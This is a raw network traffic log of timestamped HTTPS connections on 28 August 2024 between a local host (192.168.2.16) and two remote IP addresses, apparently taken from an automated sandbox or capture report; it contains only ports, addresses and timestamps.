Aug 28, 2024 22:21:06.822227955 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.822241068 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.844064951 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.846609116 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.846659899 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.846872091 CEST	49761	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.846884966 CEST	443	49761	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.856529951 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.856538057 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.856620073 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.856834888 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.856851101 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.865516901 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.922401905 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.922416925 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.922447920 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.922456980 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.922488928 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.922516108 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:06.922530890 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:06.922554016 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.022921085 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.022944927 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.023014069 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.023051023 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.023073912 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.023096085 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.024219036 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.024238110 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.024300098 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.024307966 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.024360895 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.025861979 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.025882959 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.025935888 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.025950909 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.025996923 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.027357101 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.027379036 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.027457952 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.027479887 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.027523041 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.027755976 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.027812958 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.118715048 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.118737936 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.119075060 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.119575024 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.119585991 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316164017 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316190004 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316236973 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316267014 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.316298008 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316314936 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.316337109 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.316350937 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.316375017 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.316961050 CEST	49758	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.316977024 CEST	443	49758	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.437992096 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.438278913 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.438290119 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.438627005 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.438977957 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.439042091 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.439121962 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.461333990 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.461628914 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.461637974 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.461965084 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.462322950 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.462384939 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.462470055 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.465590000 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.465854883 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.465879917 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.466227055 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.466526985 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.466589928 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.466653109 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.473628998 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.473864079 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.473871946 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.474905968 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.474973917 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.475346088 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.475410938 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.475581884 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.475589037 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.480501890 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.504503965 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.512502909 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.516097069 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.516130924 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.516855955 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.517390966 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.517404079 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.518445015 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.518520117 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.520499945 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.520586014 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.520991087 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.564119101 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.564135075 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.611097097 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.868448973 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.868478060 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.868726015 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.868947983 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.868963957 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.973716021 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.973982096 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.973994017 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.975020885 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.975080013 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.975399017 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:07.975459099 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:07.975547075 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.020499945 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.029093027 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.029098988 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.077100039 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.530452967 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.530733109 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.530759096 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.531094074 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.531450987 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.531514883 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.531652927 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.572506905 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.622149944 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.665101051 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.714384079 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.717909098 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.717928886 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.717974901 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.717989922 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.718677998 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.718749046 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.718848944 CEST	49763	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.718864918 CEST	443	49763	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.719247103 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.719295979 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.719417095 CEST	49764	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.719428062 CEST	443	49764	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.722229004 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.722256899 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.722433090 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.722718000 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.722731113 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.723130941 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.723150969 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.723233938 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.723486900 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.723501921 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.848464966 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.906436920 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.942678928 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.943802118 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.943835020 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.943952084 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.943952084 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.950411081 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.950433969 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.954695940 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.954695940 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:08.954714060 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.957787991 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:08.999097109 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.052412033 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.052412033 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.052436113 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.052448034 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.052531004 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.052531004 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.053529978 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.053529978 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.053544998 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.053560972 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.056464911 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.057620049 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.057761908 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.087230921 CEST	49765	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.087240934 CEST	443	49765	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.148886919 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.148914099 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.149004936 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.149240971 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.149254084 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.252238989 CEST	49766	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.252252102 CEST	443	49766	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352823973 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352853060 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352859974 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352889061 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352906942 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352915049 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352921009 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.352937937 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.352971077 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.384502888 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388446093 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388489008 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388495922 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.388499022 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388513088 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388520956 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388526917 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.388535023 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388871908 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.388900042 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.390820980 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.390820980 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.390896082 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.390995979 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.391067028 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.391108036 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.393416882 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.393644094 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.393644094 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.393660069 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.393990040 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.394023895 CEST	49768	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.394035101 CEST	443	49768	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.394474030 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.394556999 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.394565105 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.402403116 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.402436018 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.406470060 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.406856060 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.406867981 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.440501928 CEST	443	49771	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.442109108 CEST	49771	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.442109108 CEST	49770	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.499015093 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.499037981 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.499058008 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.499131918 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.499141932 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.499269009 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.500576973 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.500610113 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.500686884 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.500686884 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.500694036 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.500849962 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.603499889 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.603521109 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.603662968 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.603672028 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.603754997 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.604666948 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.604686975 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.604779959 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.604787111 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.604856014 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.606127024 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.606142044 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.606242895 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.606250048 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.606311083 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.607845068 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.607860088 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.607955933 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.607963085 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.610542059 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.651305914 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.654414892 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.654429913 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.655769110 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.655926943 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.656321049 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.656385899 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.656429052 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.679121971 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.680797100 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.680807114 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.681298971 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.681792974 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.681792974 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.681808949 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.681862116 CEST	443	49774	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.696505070 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.698190928 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.698198080 CEST	443	49772	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.699130058 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.699587107 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.699594021 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.699918032 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.701037884 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.701097012 CEST	443	49773	104.47.64.28	192.168.2.16
Aug 28, 2024 22:21:09.713485956 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.713504076 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.713743925 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.713752031 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.713843107 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.713896036 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.713982105 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.713984013 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.714171886 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.714559078 CEST	49762	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.714569092 CEST	443	49762	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:09.730104923 CEST	49774	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:09.746170044 CEST	49772	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:09.746300936 CEST	49773	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:21:10.008280039 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.008510113 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.008536100 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.008553028 CEST	443	49769	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.008603096 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.008641958 CEST	49769	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.046005011 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.046379089 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.046390057 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.047244072 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.047310114 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.047825098 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.047877073 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.048136950 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.048142910 CEST	443	49775	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.098118067 CEST	49775	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.118135929 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.118407965 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.118431091 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.118767977 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.119071007 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.119138956 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.119216919 CEST	49776	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:10.164504051 CEST	443	49776	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.573503017 CEST	443	49770	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:10.624114037 CEST	49770	443	192.168.2.16	185.225.69.39
